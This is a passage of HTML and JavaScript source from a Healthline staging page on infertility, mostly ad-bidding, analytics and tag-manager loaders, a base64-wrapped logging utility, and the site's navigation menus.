            creativeId: event.creativeId,
            creativeSize: event.size
          });

        } else if ( event.slot === window.HL_mr2Slot ) {
          $('#gpt-ad-mr2').attr('data-line-item-id', event.lineItemId);
          $('#gpt-ad-mr2').attr('data-creative-id', event.creativeId);

          hlSendAdImpression({
            isRequest: false,
            pos: 'MR2',
            lineItemId: event.lineItemId,
            creativeId: event.creativeId,
            creativeSize: event.size
          });

        } else if ( event.slot === window.HL_wslSlot ) {
          $('#gpt-ad-wsl').attr('data-line-item-id', event.lineItemId);
          $('#gpt-ad-wsl').attr('data-creative-id', event.creativeId);
        } else if ( event.slot === window.HL_lbSlot ) {
          $('#gpt-ad-lb').attr('data-line-item-id', event.lineItemId);
          $('#gpt-ad-lb').attr('data-creative-id', event.creativeId);

          hlSendAdImpression({
            isRequest: false,
            pos: 'LB',
            lineItemId: event.lineItemId,
            creativeId: event.creativeId,
            creativeSize: event.size
          });

        } else if ( event.slot === window.HL_rtnSlot ) {
          $('#box-rtn').css('display', 'inline-block');
          try {
            dataLayer.push({
              'event': 'hlKeyImpression',
              'hlKeyImpressionCategory': 'Ad Impression',
              'hlKeyImpressionAction': "RTN Impression",
              'hlKeyImpressionLabel': "hn.us.hl.ss.x.x.x",
              'hlKeyImpressionInteraction': true
            });

            HL_sendMonetateImpression( "RTN" );

            log.debug('GPT Common - KIMP called: RTN: hn.us.hl.ss.x.x.x');
          } catch (e) {
            // if an undefined value in array exists, do no log in GA
          }
        } else if ( event.slot === window.HL_rtlSlot ) {
          $('#box-rtl').show();
        } else {
          $.each(HL_mr3Slots, function (i) {
            if (HL_mr3Slots[i].ad === event.slot) {
              $('#' + HL_mr3Slots[i].id).attr('data-line-item-id', event.lineItemId);
              $('#' + HL_mr3Slots[i].id).attr('data-creative-id', event.creativeId);

              log.debug( 'ad-lb.jsp - HL_mr3Slots[i].ad === event.slot is TRUE - event:LoadedMR3 trigger FIRED' );

              $(document).trigger( 'event:LoadedMR3:' + i );

          hlSendAdImpression({
            isRequest: false,
            pos: 'MR3',
            lineItemId: event.lineItemId,
            creativeId: event.creativeId,
            creativeSize: event.size
          });

            }
          });
        }
      }
      if (event.slot !== window.HL_OutOfPageSlot && adsArrayToRefresh.length) {
        var index = -1;
        $.each(adsArrayToRefresh, function (i) {
          if ( adsArrayToRefresh[i] === event.slot ) {
            index = i;
          }
        });
        if (index !== -1) {
          adsArrayToRefresh.splice(index, 1);
          if (!adsArrayToRefresh.length) {
            $(document).trigger('event:ads:loaded');
          }
        }
      }
    });
  });

  //Insert All Bidder Tiles Here
  

var adId = '3083';

// A custom bidder adaptor that will run together with other registered bidders in an 
// unbiased fashion (start at the same time, same timeout, etc)
var A9Adaptor = function A9Adaptor() {
  return {
    callBids: function(p) {
      amznads.getAdsCallback(adId, function() {
        // Indicate this bidder's bid is back here, so that Prebid.js can wait 
        // till this bid is back if all other bidders responded before the timeout.
        pbjs.bidsAvailableForAdapter('amazon');
      });
    }
  };
};
pbjs.registerBidAdapter(A9Adaptor, 'amazon');

  var bidsComplete = false;

  function setBidsComplete() {
    bidsComplete = true;
  }

  function sendAdserverRequest() {
    if (pbjs.adserverRequestSent) return;
    pbjs.adserverRequestSent = true;
    googletag.cmd.push(function() {
      pbjs.que.push(function() {
        pbjs.setTargetingForGPTAsync();
        

//Insert All Bidder Tiles Here


// Set Amazon Targeting here together when you set targeting for other prebid bidders.
try{ amznads.setTargetingForGPTAsync('amznslots');} catch(e){}
        googletag.pubads().refresh(adsForPageLoad);
      });
    });
  }
 var bidStartTime = new Date().getTime();
 pbjs.que.push(function() {
   pbjs.addAdUnits(adUnits);
   pbjs.setPriceGranularity('dense');
   pbjs.requestBids({
     timeout: PREBID_TIMEOUT,
     bidsBackHandler: setBidsComplete
   });
 });

</script>
<!-- Prebid Boilerplate Section END -->

<script type="text/javascript">
  //publisher page stuff below
  //load GPT library here
  (function () {
    var gads = document.createElement('script');
    gads.async = true;
    gads.type = 'text/javascript';
    var useSSL = 'https:' == document.location.protocol;
    gads.src = (useSSL ? 'https:' : 'http:') +
      '//www.googletagservices.com/tag/js/gpt.js';
    var node = document.getElementsByTagName('script')[0];
    node.parentNode.insertBefore(gads, node);
  })();

</script>
<!-- Begin Monetate ExpressTag Sync v8.1. Place at start of document head. DO NOT ALTER. -->
    <script type="text/javascript">var monetateT = new Date().getTime();</script>
    <script type="text/javascript" src="//se.monetate.net/js/2/a-563f897b/p/healthline.com/entry.js"></script>
    <script>
      //trackData Example
      window.monetateQ = window.monetateQ || [];
    </script>
    <!-- End Monetate tag. -->

    <!-- Created an empty array for optimizely, in case there are remaining optimizely calls -->
    <script>
      window[ 'optimizely' ] = [];
    </script>
  <script src="/resources/base/js/util/log4javascript-stub.js"></script>
    <script>
      window.log = log4javascript_stub.getLogger("main");
      var appender = new log4javascript_stub.InPageAppender();
      log.addAppender(appender);
    </script>
  <script class="kxct" data-id="qp3md5klq" data-timing="async" data-version="1.9" type="text/javascript">
  window.Krux||((Krux=function(){Krux.q.push(arguments)}).q=[]);
  (function(){
    var k=document.createElement('script');k.type='text/javascript';k.async=true;
    var m,src=(m=location.href.match(/\bkxsrc=([^&]+)/))&&decodeURIComponent(m[1]);
    k.src = /^https?:\/\/([a-z0-9_\-\.]+\.)?krxd\.net(:\d{1,5})?\//i.test(src) ? src : src === "disable" ? "" :
      (location.protocol==="https:"?"https:":"http:")+"//cdn.krxd.net/controltag?confid=qp3md5klq";
    var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(k,s);
  }());
</script>
<script>
  window.Krux || ((Krux=function(){Krux.q.push(arguments);}).q=[]);
  (function(){
    function retrieve(n){
      var m, k='kxhealthline_'+n;
      if (window.localStorage) {
        return window.localStorage[k] || '';
      } else if (navigator.cookieEnabled) {
        m = document.cookie.match(k+'=([^;]*)');
        return (m && decodeURI(m[1])) || '';
      } else {
        return '';
      }
    }
    Krux.user = retrieve('user');
    Krux.segments = retrieve('segs') && retrieve('segs').split(',') || [];
  })();
</script>
<script>
  googletag.cmd.push(function(){
    googletag.pubads().setTargeting("ksg", Krux.segments);
    googletag.pubads().setTargeting("kuid", Krux.user);
//      googletag.pubads().enableSyncRendering();
    // the above prevents ads from loading and breaks our site. Commented out if vendor states it's necessary later on.
  });
</script>
<script>

  var gcseCallback = function () {
    $('<i class="hl-icon-magnifier"></i>').appendTo($('.headSearchBox table.gsc-search-box td.gsc-input'));
    $('#hl_global_header .gsc-input input').attr('placeholder', 'Search');

    $('.gsc-input input').click(function() {
      $('.gsc-input input').attr( 'placeholder', "" );
    })

    $('#hl_global_header input').blur(function() {
      $('#hl_global_header .gsc-input input').attr('placeholder', 'Search');
    });
    $('.headSearchBox .hl-icon-magnifier').click(function() {
      $('form.gsc-search-box input.gsc-search-button').click();
      window.hl_fireSearchEvent();
    });

    $('table.gssb_c').click(function() {
      window.hl_fireSearchEvent();
    });


    $('#hl_global_header .gsc-input input').keydown(function( event ) {
      if ( event.which == 13 ) {
        window.hl_fireSearchEvent();
      }
    });

  }

  window.__gcse = {
    callback: gcseCallback
  };

  (function () {
    var cx = 'partner-pub-4771166113579725:9487389092';
    var gcse = document.createElement('script');
    gcse.type = 'text/javascript';
    gcse.async = true;
    gcse.src = (document.location.protocol == 'https:' ? 'https:' : 'http:') +
      '//cse.google.com/cse.js?cx=' + cx;
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(gcse, s);
  })();
</script><script src="/resources/base/js/lib/main.js?v=v1.20180302195119"></script>
    <script>
      requirejs.config({
        baseUrl: '/'
      });
    </script>
  <script>
    define('hlutil', [], function () {
      var exports = {};
      var domain = exports.domain = "/";
      exports.qualifyUrl = function (url) {
        return url;
      };
      return exports;
    });

    // unica stub
    var ntptEventTag = function () {
    };
    var ntptLinkTag = function () {
    };
    var ntptSubmitTag = function () {
    };

    var arrayPromiseFunctions = [];
    var adsArrayToRefresh = [];
    var adsArrayForKIMP = [];
  </script>
  <script>

      /* Widget data with health text needed to be placed inside the HEAD dom node. */

      HLSHAREBAR = {};
      HLSHAREBAR.page_url = "https://sfc-stage01.healthline.com/symptom/infertility";
      HLSHAREBAR.page_title = "Infertility: Causes, Symptoms &amp; Diagnosis";
      HLSHAREBAR.page_description = "Infertility occurs when you&amp;#8217;re unable to become pregnant after a year of trying, or after six months if you&amp;#8217;re 35 or older.";
      HLSHAREBAR.email_page_url = "CTdXHB2atcs7Xca2bPplFWBxi+FiPy85EXYfeKC1mCyvCf2kaKbK1kySRs+Ihm6E/1Xp8WhKrCA=";
      HLSHAREBAR.email_page_title = "YM2SLsMhcNGCag2nFG0vOXRbBUM9DRWMVjIWTz0fV2MAz3tJiKbPA2v87o+bG5sY";

    
</script>
<script>

      var HL_ga_showNewsletterSignup = true;
    
</script>
<script>
  // GTM dataLayer
  window.dataLayer = window.dataLayer || [];
</script>
<script>
require([
  'jquery',
  'base/util/ga-custom-vars'
], function ($) {

  //var _gaq = _gaq || [];

  // add _gaq to global space
  window._gaq = window._gaq || [];

  
  var pluginUrl = '//www.google-analytics.com/plugins/ga/inpage_linkid.js';
  _gaq.push(['hl._require', 'inpage_linkid', pluginUrl]);

  dataLayer.push({ 'linkid': 'linkid.js' });

  
  var HL_ga_marinId = "";
  

  var HL_ga_toolCount = "";
  
  var HL_ga_smartAnswerCount = "";
  

  if (HL_ga_showNewsletterSignup == "") {
    var HL_ga_showNewsletterSignup = false;
  }

  var alternateTitles,
    alternateImages,
    authorName = '';

  
  var articleVars = '',
    publishedDate = '',
    updatedDate = '';

  

  var micrositeId = "";
  if (false) {
    micrositeId = "";
  } else if (false) {
    micrositeId = "diabetesmine";
  } else {
    micrositeId = "";
  }

  
  dataLayer.push({
    'fireGTM': true
  });
  
  dataLayer.push({
    'uaPropertyId': 'UA-26124207-25'
  });

  
  window.HL_ga_customVars = {
    account: "UA-26124207-20",
    domainName: ".healthline.com",
    siteSpeedSampleRate: 10,
    topiccenter: "",
    isResponsive: true,
    hcSubPage: "",
    toolCount: HL_ga_toolCount,
    smartAnswerCount: HL_ga_smartAnswerCount,
    isExpandableNav: false ? true : false,
    dfpAdSite: "hn.us.hl.ss.x.x.x",
    webHostName: "sfc-stage01.healthline.com",
    k1: "pid",
    k2: "femalehealth",
    imuid: false ? "" : "",
    micrositeId: micrositeId,
    marinId: HL_ga_marinId,
    isErrorPage: false ? true : false,
    platformPageType: "symptomSearchResultsV3",
    showNewsletterSignup: HL_ga_showNewsletterSignup,
    authorName: authorName,
    articleVars: articleVars,
    hasCustomContent: false ? true : false,
    isCompletelyOriginal: false ? true : false,
    isBrandedDrug: false ? true : false,
    publishedDate: publishedDate,
    updatedDate: updatedDate,
    alternateTitles: alternateTitles,
    alternateImages: alternateImages,
    articleWordCount: '',
    articleId: '',
    articleTitle: ""
  };
  
  HL_ga_setCustomVars(HL_ga_customVars);

  var HL_ga_url_msId_fragment = '';
  
      _gaq.push(['hl._trackPageview']);
      log.info('google-analytics.jsp - pageview called - catch all');
    

  // UA implementation: these two functions call general HL_ga_sendTrackEvent method
  dataLayer.push({ 'primaryPageview': 'Yes' });

  

  _gaq.push(HL_ga_trackTimeOnPageWrapper);
  _gaq.push(HL_ga_track90percentScrollWrapper);

  (function () {
    var _adblock = _adblock || false;
    if (!_adblock) {   //load dc.js unless user has AdBlock
      var ga = document.createElement('script');
      ga.type = 'text/javascript';
      ga.async = true;
      ga.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'stats.g.doubleclick.net/dc.js';
      var s = document.getElementsByTagName('script')[0];
      s.parentNode.insertBefore(ga, s);
    } else { //otherwise load ga.js
      var ga = document.createElement('script');
      ga.type = 'text/javascript';
      ga.async = true;
      ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
      var s = document.getElementsByTagName('script')[0];
      s.parentNode.insertBefore(ga, s);
    }
  })();

  <!-- Google Tag Manager -->
  (function (w, d, s, l, i) {
    w[l] = w[l] || [];
    w[l].push({'gtm.start': new Date().getTime(), event: 'gtm.js'});
    var f = d.getElementsByTagName(s)[0],
      j = d.createElement(s), dl = l != 'dataLayer' ? '&l=' + l : '';
    j.async = true;
    j.src =
      '//www.googletagmanager.com/gtm.js?id=' + i + dl;
    f.parentNode.insertBefore(j, f);
  })(window, document, 'script', 'dataLayer', 'GTM-WSXMS6');
  <!-- End Google Tag Manager -->
  


}); // require module
</script><script>
    (function(w,d,s,m,n,t){
      w[m]=w[m]||{init:function(){(w[m].q=w[m].q||[]).push(arguments);},ready:function(c){if('function'!=typeof c){return;}n.onload=n.onreadystatechange=function(){
        if(!n.readyState||/loaded|complete/.test(n.readyState)){n.onload=n.onreadystatechange=null;if(t.parentNode&&n.parentNode){t.parentNode.removeChild(n);}if(c){c();}}};}},
        w[m].d=1*new Date();n=d.createElement(s);t=d.getElementsByTagName(s)[0];n.async=1;n.src='//www.medtargetsystem.com/javascript/beacon.js?v2.5.12';
      t.parentNode.insertBefore(n,t);
    })(window,document,'script','AIM');
    AIM.init('14-51-A5D1AD73');
  </script>
</head>
<body class="tctopnav " >

<!-- Google Tag Manager -->
<noscript><iframe src="//www.googletagmanager.com/ns.html?id=GTM-WSXMS6"
                  height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager --><script>
    /* wrapper-7.0.3 */eval(atob("IWZ1bmN0aW9uIHQobixlLHIpe2Z1bmN0aW9uIG8oYSxzKXtpZighZVthXSl7aWYoIW5bYV0pe3ZhciBjPSJmdW5jdGlvbiI9PXR5cGVvZiByZXF1aXJlJiZyZXF1aXJlO2lmKCFzJiZjKXJldHVybiBjKGEsITApO2lmKGkpcmV0dXJuIGkoYSwhMCk7dmFyIGQ9bmV3IEVycm9yKCJDYW5ub3QgZmluZCBtb2R1bGUgJyIrYSsiJyIpO3Rocm93IGQuY29kZT0iTU9EVUxFX05PVF9GT1VORCIsZH12YXIgdT1lW2FdPXtleHBvcnRzOnt9fTtuW2FdWzBdLmNhbGwodS5leHBvcnRzLGZ1bmN0aW9uKHQpe3ZhciBlPW5bYV1bMV1bdF07cmV0dXJuIG8oZT9lOnQpfSx1LHUuZXhwb3J0cyx0LG4sZSxyKX1yZXR1cm4gZVthXS5leHBvcnRzfWZvcih2YXIgaT0iZnVuY3Rpb24iPT10eXBlb2YgcmVxdWlyZSYmcmVxdWlyZSxhPTA7YTxyLmxlbmd0aDthKyspbyhyW2FdKTtyZXR1cm4gb30oezE6W2Z1bmN0aW9uKHQsbixlKXsidXNlIHN0cmljdCI7IWZ1bmN0aW9uKCl7ZnVuY3Rpb24gbigpe2kmJmNvbnNvbGUubG9nLmFwcGx5KGNvbnNvbGUsYXJndW1lbnRzKX1mdW5jdGlvbiBlKHQsbixyLG8saSxhLHMsYyxkLHUpe3ZhciBmPWZ1bmN0aW9uKCl7dD09PSEwJiZjb25zb2xlLmxvZy5hcHBseShjb25zb2xlLGFyZ3VtZW50cyl9LGw9Wyc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W9uKCl7fSksZT4xMCYmKHQuZGVidWc9ZnVuY3Rpb24oKXt9KSxlPjIwJiYodC5sb2c9ZnVuY3Rpb24oKXt9KSxlPjMwJiYodC5pbmZvPWZ1bmN0aW9uKCl7fSksZT40MCYmKHQud2Fybj1mdW5jdGlvbigpe30pLGU+NTAmJih0LmVycm9yPWZ1bmN0aW9uKCl7fSkpfWZ1bmN0aW9uIG8odCxuKXtuPW58fHt9O2NvbnN0IGU9bi5sZXZlbHx8ImRlYnVnIjtyKHQsZSl9ZnVuY3Rpb24gaSh0KXtjb25zdCBuPU9iamVjdC5jcmVhdGUoY29uc29sZSk7cmV0dXJuIG8obix0KSxufWNvbnN0IGE9e2FsbDowLHRyYWNlOjUsZGVidWc6MTAsbG9nOjIwLGluZm86MzAsd2Fybjo0MCxlcnJvcjo1MH0scz1pKCk7bi5leHBvcnRzPXtsb2dnZXI6cyxjb25maWd1cmU6byxjcmVhdGU6aX19LHt9XX0se30sWzFdKTs="));
  </script>
<script type="text/javascript" language="JavaScript">
  var hlnord = Math.random() * 10000000000000000;
  var ord = parseInt(hlnord, 10);
  var dfpTileIdx = 1;
  var gadc = 0;
  var igadc = 0;
  var tadc = 0;
  var dadc = 0;
  var cadc = 0;
  var erpm = 0;
  /*var unicaEvents = new Array();
   var unicaEventIdx = 0;*/
  
  var g_cfn = "Pelvic Inflammatory Disease  PID  ";
  var g_cfn_bold = "Pelvic Inflammatory Disease \u0028PID\u0029,";
  var g_encoded_uri = encodeURI("\u002fsymptom\u002finfertility");
  document.write('<input id="ordName" name="ordName" type="hidden" value="' + ord + '">');
  document.write('<input id="ordCount" name="ordCount" type="hidden" value="1">');
  document.write('<input id="pv" name="pv" type="hidden" value="">');

  // qualaroo survey
  var _kiq = _kiq || [];
  (function () {
    setTimeout(function () {
      var d = document, f = d.getElementsByTagName('script')[0], s = d.createElement('script');
      s.type = 'text/javascript';
      s.async = true;
      s.src = '//s3.amazonaws.com/ki.js/55482/cd9.js';
      f.parentNode.insertBefore(s, f);
    }, 1);
  })();

  // qualaroo survey custom vars
  require([ 'base/util/ga-custom-vars' ], function () {

    

    var HL_GA_dfpSite = 'hn.us.hl.ss.x.x.x',
    // page type info is the third and possibly fourth elements of dfpAdSite
      dfpSiteArray = HL_GA_dfpSite.split('.'),
      platformPageType = 'symptomSearchResultsV3',
      hcSubPage = '',
      isErrorPage = false,
      hlPageType = '',
      micrositeId = '';

    if (false) {
      micrositeId = '';
    } else if (false) {
      micrositeId = 'diabetesmine';
    } else {
      micrositeId = '';
    }

    if (platformPageType == 'slideshowV3') {
      window.isSlideshow = true;
    }

    hlPageType = HL_getPageContentType({
      dfpSiteArray: dfpSiteArray,
      platformPageType: platformPageType,
      hcSubPage: hcSubPage,
      isErrorPage: isErrorPage
    });

    _kiq.push(['set', {
      'msite_yes': micrositeId ? 'yes' : 'no',
      'k1': 'pid',
      'msite': micrositeId,
      'content_type': hlPageType
    }]);

  }); // require module

</script>

<div class="hl-page c">
<div class="hl hl-global-menu"></div>
<div class="hl-main-content hl-standard-article">

<div class="hl headerblock">

<header id="hl_global_nav" class="c">

<div class="top-menu-sticky">

<div class="box-global-nav c">

  <div class="link-global-nav">
    <span class="hl-icon-hamburger"></span>
    <span class="navigation-menu-title"></span>
  </div>

  <div class="logobox">
    <a href="/" title="Healthline : Power of Intelligent Health"><img
      src="/resources/healthline/images/v3/hl-logo.v1.20180302195119.png"
      alt="Healthline : Power of Intelligent Health"/></a>
  </div>

  <div class="newsletterMobileIcon">
            <a href="#overlayToptocPopup" rel="#overlayToptocPopup" class="hl-link-global-hdr-subscribe"><img src="/resources/base/images/mobile-subscribe-icon-8.png" name="mSubImg2" width="56" height="31" /></a>
          </div>
        <div class="navbarcontainer">
    <ul class="nav-global">

      <li class="tab-global" id="tGATopicsTools">
  <a class="link-global" href="/directory/topics">Topics & Tools <span
    class="box-icon-arrow hl-icon-round-down-arrow"></span></a>

  <div class="submenubox" id="toolsAndTopicsTab">

    <div id="box-health-topics" class="innersubmenubox c">
      <h2><span class="hl-icon-docs"></span> Health Topics</h2>

      <ul>
              <li><a href="/directory/topics?ref=global">All topics A-Z</a></li>
              <li><a href="/health/gerd?ref=global">Acid Reflux</a></li>
              <li><a href="/health/adhd?ref=global">ADHD</a></li>
              <li><a href="/health/allergies?ref=global">Allergies</a></li>
              <li><a href="/health/alzheimers-disease?ref=global">Alzheimer's & Dementia</a></li>
              <li><a href="/health/bipolar-disorder?ref=global">Bipolar Disorder</a></li>
              <li><a href="/health/cancer?ref=global">Cancer</a></li>
              <li><a href="/health/chronic-pain?ref=global">Chronic Pain</a></li>
              </ul>
              <ul>
              <li><a href="/health/showcase/cic?ref=global">CIC</a></li>
              <li><a href="/health/cold-flu?ref=global">Cold & Flu</a></li>
              <li><a href="/health/copd?ref=global">COPD</a></li>
              <li><a href="/health/crohns-disease?ref=global">Crohn's Disease</a></li>
              <li><a href="/health/depression?ref=global">Depression</a></li>
              <li><a href="/health/fibromyalgia?ref=global">Fibromyalgia</a></li>
              <li><a href="/health/consumer-healthcare-guide?ref=global">Health Insurance Exchanges</a></li>
              <li><a href="/health/heart-disease?ref=global">Heart Disease</a></li>
              </ul>
              <ul>
              <li><a href="/health/high-cholesterol?ref=global">High Cholesterol</a></li>
              <li><a href="/health/hiv-aids?ref=global">HIV</a></li>
              <li><a href="/health/high-blood-pressure-hypertension?ref=global">Hypertension</a></li>
              <li><a href="/health/irritable-bowel-syndrome?ref=global">IBS</a></li>
              <li><a href="/health/managing-idiopathic-pulmonary-fibrosis">IPF</a></li>
              <li><a href="/health/menopause?ref=global">Menopause</a></li>
              <li><a href="/health/multiple-sclerosis?ref=global">Multiple Sclerosis (MS)</a></li>
              <li><a href="/nutrition?ref=global">Nutrition</a></li>
              </ul>
              <ul>
              <li><a href="/health/osteoarthritis?ref=global">Osteoarthritis</a></li>
              <li><a href="/health/pregnancy?ref=global">Pregnancy</a></li>
              <li><a href="/health/psoriasis?ref=global">Psoriasis</a></li>
              <li><a href="/health/rheumatoid-arthritis?ref=global">Rheumatoid Arthritis</a></li>
              <li><a href="/health/skin-disorders?ref=global">Skin Disorders and Care</a></li>
              <li><a href="/health/sexually-transmitted-diseases?ref=global">STDs</a></li>
              <li><a href="/health/diabetes-type-2?ref=global">Type 2 Diabetes</a></li>
              </ul>
              </div>
    <div id="box-health-tools" class="innersubmenubox c">

        <h2><span class="hl-icon-estethoscope"></span> Health Tools</h2>

      <ul>
              <li><a href="/symptomsearch?ref=global">Symptom Checker</a></li>
              <li><a href="/human-body-maps?ref=global">BodyMaps</a></li>
              </ul>
                <ul>
              <li><a href="/health/trial-reach-clinical-trials?ref=global">Clinical Trials</a></li>
              <li><a href="/pill-identifier?ref=global">Pill Identifier</a></li>
              </ul>
                <ul>
              <li><a href="https://telehealth.healthline.com/?utm_source=healthlinesite&utm_medium=header">Find an Online Doctor</a></li>
              <li><a href="/health-news?ref=global">Health News</a></li>
              </ul>
                <ul>
              <li><a href="/health/newsletter-signup?ref=subscribe-header">Newsletters</a></li>
              <li><a href="/diabetesmine?ref=global">Diabetes Mine</a></li>
              </ul>
              </div>
  </div>
    </li>

</ul>
<div class="searchbox">
    <form id="sf1" name="sf1" action="/search" method="get">
    <gcse:searchbox-only resultsUrl="/search" queryParameterName="q1"
                                 enableAutoComplete="true"></gcse:searchbox-only>
          </form>
  <div id="q1Results"></div>
</div>

</div>
  <div class="link-search-icon"><span class="hl-icon-magnifier"></span><span class="hl-icon-close" id="search-close-icon">X</span></div>

</div>
  </div>
</header>
<div class="search-modal" style="display: none;">
  <div class="modal-dialog modal-md">
    <div class="row">
      <div class="col-md-12">
        <div class="close-modal">
          <i class="hl-icon-X"></i>
        </div>
        <div class="form-group has-feedback">
          <gcse:searchbox-only resultsUrl="/search" queryParameterName="q1"
                                   enableAutoComplete="true"></gcse:searchbox-only>
            </div>
      </div>
    </div>
  </div>
</div>
<header id="hl_global_header">
<div class="container">
<div class="logo"><a href="/" id="logo-link"><img src="/resources/healthline/images/v3/hl-logo.v1.20180302195119.png"></a></div>
<nav>
<ul id="topic_center">
<li class="hl-click-menu topics">
  <a id="mainnav-link">
    Topics &amp; Tools
    <i class="hl-icon-thin-arrow-down"></i>
    <i class="hl-icon-thin-arrow-up"></i>
  </a>

  <div class="dropdown fluid">
    <div class="container-fluid">
      <h2><i class="hl-icon-docs"></i>&nbsp;Health Topics</h2>

      <div class="row">

        <div class="col-md-3">
        <ul>
          <li><a href="/directory/topics?ref=global">All topics A-Z</a></li>
          <li><a href="/health/gerd?ref=global">Acid Reflux</a></li>
          <li><a href="/health/adhd?ref=global">ADHD</a></li>
          <li><a href="/health/allergies?ref=global">Allergies</a></li>
          <li><a href="/health/alzheimers-disease?ref=global">Alzheimer's & Dementia</a></li>
          <li><a href="/health/bipolar-disorder?ref=global">Bipolar Disorder</a></li>
          <li><a href="/health/cancer?ref=global">Cancer</a></li>
          <li><a href="/health/chronic-pain?ref=global">Chronic Pain</a></li>
          </ul>
      </div>
      <div class="col-md-3">
        <ul>
          <li><a href="/health/showcase/cic?ref=global">CIC</a></li>
          <li><a href="/health/cold-flu?ref=global">Cold & Flu</a></li>
          <li><a href="/health/copd?ref=global">COPD</a></li>
          <li><a href="/health/crohns-disease?ref=global">Crohn's Disease</a></li>
          <li><a href="/health/depression?ref=global">Depression</a></li>
          <li><a href="/health/fibromyalgia?ref=global">Fibromyalgia</a></li>
          <li><a href="/health/consumer-healthcare-guide?ref=global">Health Insurance Exchanges</a></li>
          <li><a href="/health/heart-disease?ref=global">Heart Disease</a></li>
          </ul>
      </div>
      <div class="col-md-3">
        <ul>
          <li><a href="/health/high-cholesterol?ref=global">High Cholesterol</a></li>
          <li><a href="/health/hiv-aids?ref=global">HIV</a></li>
          <li><a href="/health/high-blood-pressure-hypertension?ref=global">Hypertension</a></li>
          <li><a href="/health/irritable-bowel-syndrome?ref=global">IBS</a></li>
          <li><a href="/health/managing-idiopathic-pulmonary-fibrosis">IPF</a></li>
          <li><a href="/health/menopause?ref=global">Menopause</a></li>
          <li><a href="/health/multiple-sclerosis?ref=global">Multiple Sclerosis (MS)</a></li>
          <li><a href="/nutrition?ref=global">Nutrition</a></li>
          </ul>
      </div>
      <div class="col-md-3">
        <ul>
          <li><a href="/health/osteoarthritis?ref=global">Osteoarthritis</a></li>
          <li><a href="/health/pregnancy?ref=global">Pregnancy</a></li>
          <li><a href="/health/psoriasis?ref=global">Psoriasis</a></li>
          <li><a href="/health/rheumatoid-arthritis?ref=global">Rheumatoid Arthritis</a></li>
          <li><a href="/health/skin-disorders?ref=global">Skin Disorders and Care</a></li>
          <li><a href="/health/sexually-transmitted-diseases?ref=global">STDs</a></li>
          <li><a href="/health/diabetes-type-2?ref=global">Type 2 Diabetes</a></li>
          </ul>
      </div>
      <div class="clear"></div>
    </div>
    <h2><i class="hl-icon-estethoscope"></i>&nbsp;Health Tools</h2>

    <div class="row">
      <div class="col-md-3">
      <ul>
        <li><a href="/symptomsearch?ref=global">Symptom Checker</a></li>
        <li><a href="/human-body-maps?ref=global">BodyMaps</a></li>
        </ul>
    </div>
    <div class="col-md-3">
      <ul>
        <li><a href="/health/trial-reach-clinical-trials?ref=global">Clinical Trials</a></li>
        <li><a href="/pill-identifier?ref=global">Pill Identifier</a></li>
        </ul>
    </div>
    <div class="col-md-3">
      <ul>
        <li><a href="https://telehealth.healthline.com/?utm_source=healthlinesite&utm_medium=header">Find an Online Doctor</a></li>
        <li><a href="/health-news?ref=global">Health News</a></li>
        </ul>
    </div>
    <div class="col-md-3">
      <ul>
        <li><a href="/health/newsletter-signup?ref=subscribe-header">Newsletters</a></li>
        <li><a href="/diabetesmine?ref=global">Diabetes Mine</a></li>
        </ul>
    </div>
    </div>
  <div class="clear"></div>
  </div>
  </div>
</li>
<li class="newsletterLink">
      <div class="secondary-button">
        <a href="#overlayToptocPopup" rel="#overlayToptocPopup" class="hl-link-global-hdr-subscribe">Newsletter</a>
      </div>
    </li>
  <li class="search">
      <div class="headSearchBox">

        <gcse:searchbox-only resultsUrl="/search" queryParameterName="q1" enableAutoComplete="true">
        </gcse:searchbox-only>

      </div>
</li>
</ul>
</nav>
<div class="clear"></div>
</div>
</header>

<div id="overlayToptocPopup" class="overlay-simple overlay-site-popup hl-overlay">
    <div class="overlay-close-container"><div class="overlay-close hl-icon-X hl-icon-close"></div></div>
    <div class="overlay-container">
      <div class="overlay-content">
        <div id="toptocpopupdiv" class="box-site-popup">
            <style>
.hl .hl-nw-form-block em { font-style: italic; font-weight: 600;}
.hl #overlayToptocPopup { position:absolute;left:0;top:0;overflow:hidden}
.hl a.hl-bottom-text{bottom:0;position:absolute;right:0}
.hl a#hl-toptocPopupLink{font-size:24px;right:0;position:absolute;padding:20px 20px 0 0;color:#333}
.hl a#hl-toptocPopupLink:hover{text-decoration:none}
.hl-toptocpopup-block .hl-email-toptoc-field{margin-top:0;width:auto;float:left;margin-right:10px}
.hl-toptocpopup-block #hl-response-block{margin:125px 0 0;display:none}
.hl .hl-toptocpopup-block .hl-nw-form-block{width:100%;padding:0 23px;box-sizing:border-box;width:100%;padding-top:0px}
.hl .hl-toptoc-signup-error{display:none;color:red;font-size:14px;margin-bottom:4px}
.hl .hl-toptocpopup-block{display:block}
.hl .hl-bottom-text{margin-bottom:20px;color:#007da4;font-size:18px;font-family:Open Sans,sans-serif;font-weight:400;float:right;width:auto;display:none;margin-right:20px;margin-top:-33px}
div#exposeMask{background-color:#000;opacity:.66}
.hl #overlayToptocPopup { padding: 0px 20px 0px 20px; width: 500px; height: 450px; box-sizing: border-box;}
.hl #overlayToptocPopup .hl-overlay .hl-icon-close{ padding:20px 20px 0 0;}

.hl .hl-toptocpopup-block .hl-signup-button{margin-top:0}
.hl .overlay-container{width:100%;height:100%}
.hl .overlay-container .overlay-content{display:inline}
.hl .hl-toptocpopup-block{width:90%;float:left;margin:72px 43px 103px}
.hl .hl-toptocpopup-block .hl-nw-form-block{width:100%}
#hl-response-block .hl-res-text{font-size:32px;font-family:Open Sans,Sans-serif;font-weight:600;color:#007da4;line-height:34px;padding: 0 0px 0 27px;}
.hl #overlayToptocPopup{background-color:#fff;padding:0 20px;width:500px;height:450px;box-sizing:border-box}
#hl-response-block .hl-res-text b{font-size:20px;line-height:24px;display:inline-block;color:#333;padding-top:8px;clear:both;font-weight:400;padding-right:30px}
.hl-toptocpopup-block .hl-nw-form-block h1{color:#007da4;font-size:32px;font-weight:600;font-family:Open Sans,Sans-serif;line-height:34px;display:inline-block;padding-bottom:0;margin-bottom:34px;width:100%;margin-top: 1em;}
.hl-toptocpopup-block .hl-nw-form-block h1 b{font-size:20px;line-height:24px;color:#333;padding-top:8px;clear:both;font-weight:400}
